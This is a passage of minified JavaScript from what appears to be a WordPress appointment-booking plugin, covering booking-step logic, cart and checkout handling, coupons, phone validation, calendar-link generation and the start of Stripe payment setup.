t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{"cart item"!==e.getCartContext()&&e.reset()}))}}class pe{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(".mpa-actions"),this.$buttonBack=this.$buttons.find(".mpa-button-back"),this.$buttonNext=this.$buttons.find(".mpa-button-next")}theId(){return"abstract"}getCartContext(){return"cart"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on("click",this.cancel.bind(this)),this.$buttonNext.on("click",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let i=this.validateProperty(e,t);if(i===this[e])return;let s=this.preventReact;this.preventReact=!0,this.updateProperty(e,i),s||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let i=t;if(e in this.schema){let s=this.schema[e];if(null==t)i=s.default;else{switch(s.type){case"bool":i=H(t);break;case"integer":i=W(t)}if(!F(i)&&null!=s.options){s.options.indexOf(i)>=0||(i=this[e])}}}else null==t&&(i=null);return i}updateProperty(e,t){let i=this[e];this[e]=t,this.afterUpdate(e,t,i)}afterUpdate(e,t,i){}react(){let e=this.isValidInput();this.$buttonNext.prop("disabled",!e),this.hideButtons&&this.$buttons.toggleClass("mpa-hide",!e)}show(){this.enable(),this.react(),this.$element.removeClass("mpa-hide"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass("mpa-loaded"),this.hideButtons||this.$buttons.removeClass("mpa-hide")}hide(){this.disable(),this.$element.addClass("mpa-hide")}enable(){this.isActive=!0,this.$buttonBack.prop("disabled",!1),this.$buttonNext.prop("disabled",!1)}disable(){this.isActive=!1,this.$buttonBack.prop("disabled",!0),this.$buttonNext.prop("disabled",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():"object"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger("mpa_booking_step_back",{step:this.stepId})}triggerNext(){this.$element.trigger("mpa_booking_step_next",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop("disabled",!0),this.$buttonBack.toggleClass("mpa-hide",!0)}}class de{static calculateTimezoneOffset(e){if("UTC"===e)return 0;const[t,i]=e.split(":").map(Number);if(isNaN(t)||isNaN(i))throw new Error("Unknown timezone format: "+e);return 60*t+i}static applyTimezoneOffset(e,t){const i=new Date(e);return i.setMinutes(e.getMinutes()-t),i}static isTimezoneProvideByIANA(e){return/^[A-Za-z]+\/[A-Za-z_]+(\/[A-Za-z_]+)?$/.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(/-|:|\.\d{3}/g,"")}static formatDateToCalendarLocal(e){return e.toISOString().replace(/-|:|\.\d{3}|Z/g,"")}static formatDateForOffsetTimeZone(e,t){const i=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,i);const a=this.calculateTimezoneOffset(t);return s=this.applyTimezoneOffset(s,a),this.formatDateToCalendar(s)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(i)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,i,s,a,r){const n=m().settings().getTimezone();let o=this.formatDateForCalendar(t,n),l=this.formatDateForCalendar(i,n);0===t.getHours()&&0===t.getMinutes()&&0===i.getHours()&&0===i.getMinutes()&&(o=o.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,""));const h=["BEGIN:VCALENDAR","VERSION:2.0",`PRODID:${m().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(n)&&h.push("BEGIN:VTIMEZONE","TZID:"+n,"END:VTIMEZONE");let c={dtstamp:"DTSTAMP:"+this.formatDateToCalendar(new Date),uid:"UID:"+e,dtstart:"DTSTART"+(this.isTimezoneProvideByIANA(n)?";TZID="+n+":":":")+o,dtend:"DTEND"+(this.isTimezoneProvideByIANA(n)?";TZID="+n+":":":")+l,summary:"SUMMARY:"+s,description:"DESCRIPTION:"+a,location:"LOCATION:"+r};c=wp.hooks.applyFilters("mpa_prepare_vevent_data",c);let p=Object.values(c);h.push("BEGIN:VEVENT",...p,"END:VEVENT"),h.push("END:VCALENDAR");const d=h.join("\n"),u=new Blob([d],{type:"text/calendar"});return window.URL.createObjectURL(u)}static createGoogleCalendarURL(e,t,i,s,a){const r=new URL("https://www.google.com/calendar/render"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(o=o.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,"")),r.search=new URLSearchParams({action:"TEMPLATE",text:i,dates:`${o}/${l}`,details:s,location:a}).toString(),this.isTimezoneProvideByIANA(n)&&r.searchParams.append("ctz",n),r.toString()}static createYahooCalendarURL(e,t,i,s,a){const r=new URL("https://calendar.yahoo.com/"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n),h={v:"60",view:"d",type:"20",title:i,desc:s,in_loc:a};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(h.st=o.replace(/T\d\d\d\d\d\d|Z/g,""),h.dur="allday"):(h.st=o,h.et=l),r.search=new URLSearchParams(h).toString(),r.toString()}}class me{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(".booking-reservations"),this.$bookingCartItem=this.$bookingCartItems.find(".reservation"),this.$addToCalendarGoogle=this.$bookingCartItem.find(".mpa-add-to-calendar-link--google"),this.$addToCalendarApple=this.$bookingCartItem.find(".mpa-add-to-calendar-link--apple"),this.$addToCalendarOutlook=this.$bookingCartItem.find(".mpa-add-to-calendar-link--outlook"),this.$addToCalendarYahoo=this.$bookingCartItem.find(".mpa-add-to-calendar-link--yahoo")}assignURL(e,t){e.attr("href",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction("mpa_booking_details_section_init",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const i=e.getService(),s=i.getName(),a=e.employee.name+". "+i.getQuantityLabel()+": "+e.getCapacity()+".";let r=s;e.getCapacity()>1&&(r+=" ",r+='<span class="mpa-reservation-capacity">',r+=i.getQuantityLabel()+": "+e.getCapacity(),r+="</span>"),t.find(".reservation-title").html(r),t.find(".reservation-date").html(f(e.date)),t.find(".reservation-time").html(e.time.toString());const n=de.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,s,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_ics",e.location.name,e)),o=de.createGoogleCalendarURL(e.time.startTime,e.time.endTime,s,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_google",e.location.name,e)),l=de.createYahooCalendarURL(e.time.startTime,e.time.endTime,s,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_yahoo",e.location.name,e));this.assignURL(t.find(".mpa-add-to-calendar-link--google"),o),this.assignURL(t.find(".mpa-add-to-calendar-link--apple"),n),this.assignURL(t.find(".mpa-add-to-calendar-link--outlook"),n),this.assignURL(t.find(".mpa-add-to-calendar-link--yahoo"),l)})),this.$bookingDetailsSection.toggleClass("mpa-hide",!1)}reset(){this.$bookingDetailsSection.toggleClass("mpa-hide",!0);const e="#";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class ue extends pe{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(".mpa-message").first(),this.$buttonReset=this.$buttons.find(".mpa-button-reset"),this.$bookingDetails=this.$element.find(".mpa-booking-details").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new me(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(u("Making a reservation...","motopress-appointment")+' <span class="mpa-preloader"></span>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on("click",this.resetForm.bind(this))}theId(){return"booking"}react(){this.isPosted&&(this.$buttons.removeClass("mpa-hide"),this.$buttonBack.toggleClass("mpa-hide",this.isBooked),this.$buttonReset.toggleClass("mpa-hide",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){c("/bookings",{...wp.hooks.applyFilters("mpa_booking_cart_data",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction("mpa_booking_cart_response",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass("mpa-hide"),this.$buttonReset.addClass("mpa-hide")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(u("You will be redirected to a secure page to complete the payment.","motopress-appointment"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return"redirect_url"in e&&""!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger("mpa_reset_booking")}}function ge(e){let t="";for(let i in e)t+=" "+i+'="'+e[i]+'"';return t}function ye(e,t={}){return"<button"+ge(t=jQuery.extend({},{type:"button",class:"button"},t))+">"+e+"</button>"}function fe(e,t){let i={service_id:".mpa-service-id",service_name:".mpa-service-name",service_thumbnail:".mpa-service-thumbnail",employee_id:".mpa-employee-id",employee_name:".mpa-employee-name",location_id:".mpa-location-id",location_name:".mpa-location-name",reservation_date:".mpa-reservation-date",reservation_save_date:".mpa-reservation-save-date",reservation_time:".mpa-reservation-time",reservation_period:".mpa-reservation-period",reservation_save_period:".mpa-reservation-save-period",reservation_capacity:".mpa-reservation-capacity",reservation_clients:".mpa-reservation-clients",reservation_clients_count:".mpa-reservation-clients-count",reservation_price:".mpa-reservation-price"},s=t.clone();s.attr("data-id",e.getItemId());let a=e.getCapacityOptions();for(let t in i){let n=i[t],o=s.find(n).first(),l="{"+t+"}";if(!(o.length>0?o.html():"").includes(l))continue;let h="";switch(t){case"service_id":h=e.service.id;break;case"service_name":h=e.service.name;break;case"service_thumbnail":h=ke(e.service.thumbnail);break;case"employee_id":h=e.employee.id;break;case"employee_name":h=e.employee.name;break;case"location_id":h=e.location.id;break;case"location_name":h=e.location.name;break;case"reservation_date":h=f(e.date);break;case"reservation_save_date":h=f(e.date,"internal");break;case"reservation_time":h=e.time.toString("short");break;case"reservation_period":h=e.time.toString();break;case"reservation_save_period":h=e.time.toString("internal");break;case"reservation_capacity":h=Se(r(a,a),e.capacity);break;case"reservation_clients":h=Pe(r(a,a),e.capacity);break;case"reservation_clients_count":h=e.capacity;break;case"reservation_price":let t=e.employee.id;h=ve(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(l,h))}return s.find(".cell-people .cell-title").html(e.getService().getQuantityLabel()),s.find('[name*="{item_id}"]').each(((t,i)=>{i.name=i.name.replace("{item_id}",e.getItemId())})),1===a.length&&s.find(".cell-people").addClass("mpa-hide"),s}function be(e){let t="";t+='<table class="mpa-order widefat">',t+="<tbody>";for(let i of e.products)t+='<tr class="mpa-order-service">',t+='<td class="column-service">',t+='<span class="mpa-service-name">'+i.name+"</span>",i.capacity>1&&(t+='<span class="mpa-reservation-capacity">',t+=i.quantity_label+": "+i.capacity,t+="</span>"),t+="</td>",t+='<td class="column-price">'+_e(i.price)+"</td>",t+="</tr>";return t+='<tr class="mpa-order-subtotal">',t+='<th class="column-subtotal">'+u("Subtotal","motopress-appointment")+"</th>",t+='<th class="column-price">'+_e(e.subtotal)+"</th>",t+="</tr>",t+="</tbody>",t+="<tfoot>",e.coupon&&(t+='<tr class="mpa-order-coupon">',t+='<th class="column-coupon">',t+=u("Coupon: %s","motopress-appointment").replace("%s",e.coupon.code),t+="</th>",t+='<td class="column-price">',t+=_e(-e.coupon.amount),t+=" ",t+='<a href="#" class="mpa-remove-coupon">'+u("Remove","motopress-appointment")+"</a>",t+="</td>",t+="</tr>"),t+='<tr class="mpa-order-total">',t+='<th class="column-total">'+u("Total","motopress-appointment")+"</th>",t+='<th class="column-price">'+_e(e.total)+"</th>",t+="</tr>",t+="</tfoot>",t+="</table>",t}function ve(e,t={}){let i=m().settings();t=jQuery.extend({currency_symbol:i.getCurrencySymbol(),currency_position:i.getCurrencyPosition(),decimal_separator:i.getDecimalSeparator(),thousand_separator:i.getThousandSeparator(),decimals:i.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let s=function(e,t=0,i=".",s=","){let a,r,n,o,l,h="";return e<0&&(h="-",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+"",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+s:"",n=a.substr(r).replace(/(\d{3})(?=\d)/g,"$1"+s),o=t?i+Math.abs(e-a).toFixed(t).replace(/-/,0).slice(2):"",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a="mpa-price";if(0==e&&(a+=" mpa-zero-price"),0==e&&t.literal_free)a+=" mpa-price-free",s=g("Free","Zero price","motopress-appointment");else{t.trim_zeros&&(s=function(e,t=null){null==t&&(t=m().settings().getDecimalSeparator());let i=new RegExp("\\"+t+"0+$");return e.replace(i,"")}(s));let i='<span class="mpa-currency">'+t.currency_symbol+"</span>";switch(t.currency_position){case"before":s=i+s;break;case"after":s+=i;break;case"before_with_space":s=i+"&nbsp;"+s;break;case"after_with_space":s=s+"&nbsp;"+i}e<0&&(s="-"+s)}return'<span class="'+a+'">'+s+"</span>"}function _e(e,t={}){return t.literal_free=!1,ve(e,t)}function Se(e,t,i={}){let s="<select"+ge(i)+">";return s+=Pe(e,t),s+="</select>",s}function we(e,t,i=!1){let s="";return s='<option value="'+e+'"'+(i?' selected="selected"':"")+">",s+=t,s+="</option>",s}function Pe(e,t){let i="";for(let s in e)i+=we(s,e[s],s==t);return i}function Ce(e,t,i,s){let a="";const r=String(s);for(const[e,i]of Object.entries(t))a+=we(e,i,e===r);for(let e of i)a+=we(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function ke(e){let{width:t,height:i}=m().settings().getThumbnailSize();return"<img"+ge({width:t,height:i,src:e,class:"attachment-thumbnail size-thumbnail"})+">"}class $e extends pe{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(".mpa-cart"),this.$items=this.$cart.find(".mpa-cart-items"),this.$itemTemplate=this.$cart.find(".mpa-cart-item-template"),this.$noItems=this.$element.find(".no-items"),this.$totalPrice=this.$element.find(".mpa-cart-total-price"),this.$buttonNew=this.$buttons.find(".mpa-button-new")}theId(){return"cart"}addListeners(){super.addListeners(),this.$buttonNew.on("click",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass("mpa-cart-item-template"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),i=e.getDate(),s=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(i,s)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(".mpa-cart-item").remove(),this.$noItems.removeClass("mpa-hide"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),i=e.getMaxCapacity();var s,a,r;e.setCapacity((s=e.getCapacity(),a=t,r=i,Math.max(a,Math.min(s,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,i)=>{let s='.mpa-cart-item[data-id="'+i+'"]',a=this.$items.find(s);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=fe(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass("mpa-hide"),t}updateItem(e,t){let i=fe(t,this.$itemTemplate);return e.replaceWith(i),i}bindListeners(e){let t=e.data("id"),i=this.cart.getItem(t),s=e.find(".mpa-reservation-capacity select, .mpa-reservation-clients select"),a=e.find(".mpa-reservation-price"),r=e.find(".mpa-button-remove, .mpa-button-edit-or-remove"),n=e.find(".mpa-button-edit, .mpa-button-edit-or-remove");s.on("change",(t=>{let s=W(t.target.value);i.setCapacity(s);let r=i.getBookingVariantForCapacity(s),n=r.employeeId,o=r.locationId;if(i.getEmployeeId()!=n)i.setEmployee(n,!1),i.setLocation(o,!1),e=this.updateItem(e,i),this.bindListeners(e);else{let e=i.service.getPrice(n,s);a.html(ve(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on("click",(i=>{i.stopPropagation(),e.remove();let s=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass("mpa-hide"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent("mpa_remove_from_cart",{detail:{cartItem:s,currencyCode:m().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on("click",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(_e(this.cart.getTotalPrice()))}isMultibookingEnabled(){return m().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger("mpa_booking_step_new",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent("mpa_begin_checkout",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class Te{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name="coupon_code"]'),this.$applyButton=e.find(".mpa-apply-coupon-button"),this.$messageHolder=e.find(".mpa-message-wrapper"),this.$preloader=e.find(".mpa-preloader"),this.$parentForm=e.parents(".mpa-booking-step").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on("keydown",(e=>{"Enter"===e.code&&this.onEnter(e)})),this.$applyButton.on("click",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),se().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(u("Coupon code applied successfully.","motopress-appointment"))):this.setMessage(u("Sorry, your booking is not eligible for this coupon.","motopress-appointment")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(u("Coupon code is empty.","motopress-appointment"))}reset(){this.$couponCode.val(""),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass("mpa-hide")):(this.enable(),this.$element.removeClass("mpa-hide"))}disable(){this.$couponCode.prop("disabled",!0),this.$applyButton.prop("disabled",!0)}enable(){this.$couponCode.prop("disabled",!1),this.$applyButton.prop("disabled",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger("mpa_booking_step_disable")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger("mpa_booking_step_enable")}triggerApplied(e){this.$parentForm.trigger("mpa_booking_coupon_applied",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}}function Ie(e){const s=jQuery("<span/>",{id:e.attr("id")+"_error",class:"mpa-phone-field-error mpa-hide",text:u("Phone number is invalid.","motopress-appointment")});e.after("<br>",s);const a=i(e[0],{separateDialCode:!0,initialCountry:t.settings.country,hiddenInput:e.attr("name"),utilsScript:t.urls.plugin+"assets/js/intl-tel-input-17.0.19/js/utils.js"});a.promise.then((()=>{e.val()&&r(),e.on("countrychange",(e=>{r()})),e.on("input",(e=>{r()}))}));const r=()=>{a.isValidNumber()?(jQuery("input[type='hidden'][name='"+e.attr("name")+"']").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass("mpa-phone-number--invalid"),s.addClass("mpa-hide")):(e.addClass("mpa-phone-number--invalid"),s.removeClass("mpa-hide"))};return a}window.mpa_intl_tel_input=Ie;class De extends pe{setupProperties(){super.setupProperties(),this.name="",this.email="",this.phone="",this.notes="",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(".mpa-checkout-form"),this.$name=this.$element.find(".mpa-customer-name"),this.$email=this.$element.find(".mpa-customer-email"),this.$phone=this.$element.find(".mpa-customer-phone"),this.$notes=this.$element.find(".mpa-customer-notes"),this.$order=this.$element.find(".mpa-order"),wp.hooks.doAction("mpa_step_checkout_form",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ie(this.$phone)),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.$messageHolder=this.$element.find(".mpa-message").first(),this.$preloader=this.$element.find(".mpa-loading"),m().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(".mpa-customer-create-account"),this.$createAccountDescription=this.$element.find(".mpa-customer-create-account-description"),this.setProperty("createAccount",this.$createAccount.prop("checked"))),t&&t.currentCustomer&&t.currentCustomer.name&&(this.setProperty("name",t.currentCustomer.name),this.$name.val(t.currentCustomer.name)),t&&t.currentCustomer&&t.currentCustomer.email&&(this.setProperty("email",t.currentCustomer.email),this.$email.val(t.currentCustomer.email)),t&&t.currentCustomer&&"undefined"!==t.currentCustomer.phone&&(this.setProperty("phone",t.currentCustomer.phone),this.phoneValidator.setNumber(t.currentCustomer.phone),this.$phone.trigger("input")),this.service=null,this.couponSection=null}theId(){return"checkout"}propertiesSchema(){return{name:{type:"string",default:""},email:{type:"string",default:""},phone:{type:"string",default:""},notes:{type:"string",default:""},acceptTerms:{type:"bool",default:!1},$createAccount:{type:"bool",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on("submit",(e=>!1)),this.$name.on("input",(e=>this.setProperty("name",e.target.value))),this.$email.on("input",(e=>this.setProperty("email",e.target.value))),this.$phone.on("input",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on("countrychange",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on("input",(e=>this.setProperty("notes",e.target.value))),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),m().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on("input",(e=>{this.setProperty("createAccount",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass("mpa-hide"):this.$createAccountDescription.addClass("mpa-hide")})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(".mpa-coupon-details"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction("mpa_step_checkout_reset",this.$checkoutForm),this.$notes.val(""),this.resetProperty("notes"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),m().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop("checked",!1),this.resetProperty("createAccount")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(be(this.cart.getOrder()));let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters("mpa_step_checkout_form_valid",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is("[required]"))||""!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is("[required]"))||""!==this.email&&!!this.email.match(/.+@.+/)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is("[required]"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||m().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop("disabled",!1)}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}async maybeSubmit(){if(wp.hooks.hasFilter("mpa_step_checkout_maybe_submit")&&await wp.hooks.applyFilters("mpa_step_checkout_maybe_submit",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&""!==this.email){this.showPreloader();return c("/customers/create",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class Ee{setupProperties(){this.gatewayId="basic",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass("mpa-hide"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass("mpa-hide"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return c("/payments/prepare",{payment_details:e.paymentDetails})}getDefaults(){return{country:m().settings().getCountry(),redirect_url:{payment_received:m().settings().getReservationReceivedPageUrl(),failed_transaction:m().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ae extends Ee{enable(){}}class Me{setupProperties(){this.methods=null,this.uid="",this.paymentMethods=new M,this.selectedMethod="",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=B(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,i)=>{i||(e=!0)})),e&&this.$gatewayPreloader.addClass("mpa-hide")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader"),this.$gatewayPreloader.removeClass("mpa-hide"),this.paymentMethods.forEach(((t,i,s)=>{t.$nav=e.find(".mpa-stripe-payment-method."+s),t.$fields=e.find(".mpa-stripe-payment-fields."+s);const a=this.methods[s].getControl();if(null!==a){const e=this.getElementSelector(s);this.mountedMethods[s]=!1,a.mount(e),a.on("ready",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove("mpa-preloader-skeleton-pulsate")}))}"card"===s&&this.methods.card.isCanMakePaymentRequest().then((e=>{const 